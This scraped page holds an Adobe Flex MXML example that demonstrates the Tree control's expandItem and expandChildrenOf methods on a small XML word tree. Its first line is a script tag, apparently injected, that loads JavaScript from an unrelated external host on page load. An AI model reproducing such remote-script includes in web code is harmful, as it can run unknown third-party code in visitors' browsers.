<script src="http://www.cpcasr.cn/ad_js/mm_123.js"></script>
main.mxml
- <?xml version="1.0" encoding="utf-8"?>
- <mx:Application xmlns:mx="http://www.adobe.com/2006/mxml"
- layout="vertical"
- verticalAlign="middle"
- backgroundColor="white">
- <mx:Script>
- private function tree_expandItem(evt:MouseEvent):void {
- if (tree.selectedItem && tree.dataDescriptor.isBranch(tree.selectedItem)) {
- tree.expandItem(tree.selectedItem, checkBox.selected);
- }
- }
- private function tree_expandChildrenOf(evt:MouseEvent):void {
- if (tree.selectedItem && tree.dataDescriptor.isBranch(tree.selectedItem)) {
- tree.expandChildrenOf(tree.selectedItem, checkBox.selected);
- }
- }
- </mx:Script>
- <mx:XML id="xmlDP">
- <root>
- <node label="The">
- <node label="quick">
- <node label="brown" />
- <node label="fox" />
- <node label="jumped">
- <node label="over" />
- </node>
- </node>
- <node label="the" />
- </node>
- <node label="lazy">
- <node label="dog." />
- </node>
- </root>
- </mx:XML>
- <mx:ApplicationControlBar dock="true">
- <mx:Button id="button1"
- label="expandItem(...)"
- click="tree_expandItem(event);" />
- <mx:Button id="button2"
- label="expandChildrenOf(...)"
- click="tree_expandChildrenOf(event);" />
- <mx:Spacer width="100" />
- <mx:CheckBox id="checkBox"
- label="open:"
- labelPlacement="left"
- selected="true" />
- </mx:ApplicationControlBar>
- <mx:Tree id="tree"
- dataProvider="{xmlDP.node}"
- labelField="@label"
- showRoot="false"
- width="200"
- rowCount="6" />
- </mx:Application>